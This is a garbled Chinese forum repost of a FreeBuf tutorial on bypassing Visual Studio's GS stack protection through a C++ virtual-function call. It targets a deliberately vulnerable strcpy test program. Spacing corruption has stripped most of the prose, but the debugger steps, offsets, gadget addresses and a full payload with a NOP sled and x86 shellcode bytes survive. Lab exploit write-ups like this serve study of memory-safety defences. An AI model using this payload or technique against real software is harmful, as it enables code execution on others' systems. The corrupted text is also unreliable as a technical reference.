[15529] 2020-06-24_图解利用虚函数过GS保护

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-06-24_图解利用虚函数过GS保护 G S m 0 1 i d u 0 d u 0   F r e e B u f   2 0 2 0 - 0 6 - 2 4 G S G S p a y l o a d p a y l o a d G S p a y l o a d p a y l o a d p a y l o a d b a l a b a l a ~ ~ ( ) G S 使 G S V i s u a l   S t u d i o G S c a n a r y s e c u r i t y   c o o k i e E B P . d a t a s e c u r i t y c o o k i e c a l l   _ _ s e c u r i t y _ c h e c k _ c o o k i e c a n a r y . d a t a G S G S G S   s e c u r i t y   c o o k i e C + + v i r t u a l 使 p a y l o a d p a y l o a d s h e l l c o d e G S 3 . 1   |   | |   -   |   -   |   -   | |     |   w i n 7   | |     |   V S 2 0 1 5   | |     |   G S D E P A L S R s a f e s e h   |     | |   b u i l d   |   r e l e a s e   | 1 0 x 4 1 4 0 0 0 0 0 s t r c p y 0 0 2 G S C / C + + - > - > ( G S )
3 D E P A L S R s a f e s e h - > - > 3 . 2 G S p a y l o a d p a y l o a d 1 V i r v i r f u n ( ) t e s t ( ) t e s t p a y l o a d b u f 2 t e s t v i r f u n ( ) b u f 3 s e c u r i t y   c o o k i e p a y l o a d p a y l o a d 0 x 0 0 1 8 f f 3 4 0 x 4 1 4 0 2 2 5 4 0 x 4 1 4 0 1 0 7 0 v i r f u n ( ) c a l l   0 x 4 1 4 0 1 0 7 0 s t r 0 x 4 1 4 0 2 1 3 8 b u f 0 x 0 0 1 8 f e 2 4 G S p a y l o a d p a y l o a d 3 . 3   p a y l o a d b u f 0 x 4 1 4 0 2 2 5 4 s t r 0 x 4 1 4 0 2 1 3 8 b u f 0 x 0 0 1 8 f f 3 4 - 0 x 0 0 1 8 f e 2 4 = 0 x 0 0 0 0 0 1 1 0 = 2 7 2 I m m u n i t y   D e b u g g e r ( 1 ) I m m u n i t y   D e b u g g e r 3 0 0 ( 2 ) I m m u n i t y   D e b u g g e r p a t t e r n . t x t 3 0 0 # i n c l u d e   " s t d a f x . h " # i n c l u d e   < w i n d o w s . h > # p r a g m a   w a r n i n g ( d i s a b l e : 4 9 9 6 ) / / s t r c p y c l a s s   V i r   { p u b l i c :         v o i d   t e s t ( c h a r *   s t r )         {                 c h a r   b u f [ 0 x 1 0 0 ] ; / / b u f                 s t r c p y ( b u f ,   s t r ) ;                 p r i n t f ( m o n a   p c   3 0 0
( 3 ) 3 0 0 0 x 3 1 6 A 4 1 3 0 ( 4 ) 2 7 2 p a y l o a d s t r ( 0 x 4 1 4 0 2 1 3 8 ) s t r ( p a y l o a d ) 1 )   2 )   c a l l c a l l   c a l l s h e l l c o d e s h e l l c o d e s t r ( 0 x 4 1 4 0 2 1 3 8 ) s t r c p y b u f ( 0 x 0 0 1 8 f e 2 4 ) ( 0 x 4 1 4 0 2 1 3 8 ) b u f 0 x 1 8 F E 2 4 = E S P + 4 c a l l p o p   p o p   r e t p p t b u f 0 x 0 0 1 8 F E 2 4 c a l l e s p 0 x 0 0 1 8 F E 1 C p o p   p o p   , r e t 0 x 0 0 1 8 F E 2 4 0 x 0 0 1 8 F E 2 4 p p t I m m u n i t y   D e b u g g e r e x e 使 ! m o n a   s e h   p p t 7 p p t p p t e b p   e s p p p t 0 x 4 1 4 0 1 3 5 3 p a y l o a d A a 0 A a 1 A a 2 A a 3 A a 4 A a 5 A a 6 A a 7 A a 8 A a 9 A b 0 A b 1 A b 2 A b 3 A b 4 A b 5 A b 6 A b 7 A b 8 A b 9 A c 0 A c 1 A c 2 A c 3 A c 4 A c 5 A c 6 A c 7 A c 8 A c 9 A d 0 A d 1 A d 2 A d 3 A d 4 A d 5 A d 6 A d 7 A d 8 A d 9 A e 0 A e 1 A e 2 A e 3 A e 4 A e 5 A e 6 A e 7 A e 8 A e 9 A f 0 A f 1 A f 2 A f 3 A f 4 A f 5 A f 6 A f 7 A f 8 A f 9 A g 0 A g 1 A g 2 A g 3 A g 4 A g 5 A g 6 A g 7 A g 8 A g 9 A h 0 A h 1 A h 2 A h 3 A h 4 A h 5 A h 6 A h 7 A h 8 A h 9 A i 0 A i 1 A i 2 A i 3 A i 4 A i 5 A i 6 A i 7 A i 8 A i 9 A j 0 A j 1 A j 2 A j 3 A j 4 A j 5 A j 6 A j 7 A j 8 A j 9 ! m o n a   p o   0 x 3 1 6 A 4 1 3 0       ! m o n a   p o   0 A j 1
p p t + s h e l l c o d e + + p a y l o a d 便 s h e l l c o d e b u f 0 x 0 0 1 8 F E 2 4 p p t 0 x 4 1 4 0 1 3 5 3 p p t s h e l l c o d e b u f p a y l o a d 1 b u f 0 x 4 1 4 0 2 1 3 8 2 b u f = e s p + 4 c a l l   p p t s h e l l c o d e b u f 2 p p t c a l l   0 x 4 1 4 0 1 3 5 3 ( p p t ) 3 p p t p o p   e c x ;   p o p   e c x ; 0 x 0 0 1 8 f e 2 4 r e t b u f 4 b u f 0 x 0 0 1 8 f e 2 4 p p t 0 x 4 1 4 0 1 3 5 3 p o p 0 x 0 0 1 8 f e 2 8 0 x 0 0 1 8 f e 2 C r e t 0 x 1 8 f f e 3 0 E I P = ? ? ? ? ? ? ? ? ? s h e l l c o d e e s p = 0 x 0 0 1 8 f e 3 4 0 x 0 0 1 8 f e 3 0 j m p   e s p 5 j m p   e s p 0 x 0 0 1 8 F E 3 4 s h e l l c o d e j m p e s p I m m u n i t y   D e b u g g e r j m p e s p 0 x 4 1 4 0 1 0 a f 0 x 0 0 1 8 f e 2 8 0 x 0 0 1 8 f e 2 C , x 9 0 p o p s h e l l c o d e n o p 便 p a y l o a d 3 . 4   G S p a y l o a d ! m o n a   j m p   - r   e s p " x 5 3 x 1 3 x 4 0 x 4 1 "       / / p p t       " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x a f x 1 0 x 4 0 x 4 1 " / / j m p e s p * 3     " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 "       / / n o p         " x 3 1 x d 2 x b 2 x 3 0 x 6 4 x 8 b x 1 2 x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 c x 8 b x 4 2 " / / s h e l l c o d e " x 0 8 x 8 b x 7 2 x 2 0 x 8 b x 1 2 x 8 0 x 7 e x 0 c x 3 3 x 7 5 x f 2 x 8 9 x c 7 x 0 3 " " x 7 8 x 3 c x 8 b x 5 7 x 7 8 x 0 1 x c 2 x 8 b x 7 a x 2 0 x 0 1 x c 7 x 3 1 x e d x 8 b " " x 3 4 x a f x 0 1 x c 6 x 4 5 x 8 1 x 3 e x 4 6 x 6 1 x 7 4 x 6 1 x 7 5 x f 2 x 8 1 x 7 e " " x 0 8 x 4 5 x 7 8 x 6 9 x 7 4 x 7 5 x e 9 x 8 b x 7 a x 2 4 x 0 1 x c 7 x 6 6 x 8 b x 2 c " " x 6 f x 8 b x 7 a x 1 c x 0 1 x c 7 x 8 b x 7 c x a f x f c x 0 1 x c 7 x 6 8 x 7 9 x 7 4 " " x 6 5 x 0 1 x 6 8 x 6 b x 6 5 x 6 e x 4 2 x 6 8 x 2 0 x 4 2 x 7 2 x 6 f x 8 9 x e 1 x f e " " x 4 9 x 0 b x 3 1 x c 0 x 5 1 x 5 0 x f f x d 7 "   " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 "   " x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 x 9 0 " / /     " x 3 8 x 2 1 x 4 0 x 4 1 " ) ; / /
( 0 x 0 0 1 8 F F 3 4 ) ( 0 x 4 1 4 0 2 1 3 8 ) p p t ( 0 x 4 1 4 0 1 3 5 3 ) c a l l   0 x 4 1 4 0 2 1 3 8 ( ) e s p + 4 = b u f ( 0 x 0 0 1 8 F F 3 4 ) c a l l e s p 0 x 0 0 1 8 F E 1 C , p p t 0 x 4 1 4 0 1 3 5 3 p o p e s p 0 0 1 8 F E 2 4 p p t 0 x 4 1 4 0 1 3 5 3 E I P 0 x 4 1 4 0 1 3 5 3 e s p 0 x 1 8 F E 2 8 P o p   p o p 2 x 9 0 x 9 0 x 9 0 x 9 0 p o p e s p = 0 x 0 0 1 8 F E 3 0 r e t 0 x 0 0 1 8 F E 3 0 0 x 4 1 4 0 1 0 a f j m p e s p j m p e s p   j m p   e s p
s h e l l c o d e 0 x 0 0 1 8 F E 3 4 n o p s h e l l c o d e s h e l l c o d e P P T P P T j m p e s p s h e l l c o d e 1 0 x 0 0 s t r c p y 0 0 p a y l o a d 使 0 0 0 0 x 2 4 x f e x 1 8 x 0 0 2 p a y l o a d P P T j m p e s p s h e l l c o d e R E F 0 d a y * m 0 1 i d u 0 d u 0 F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则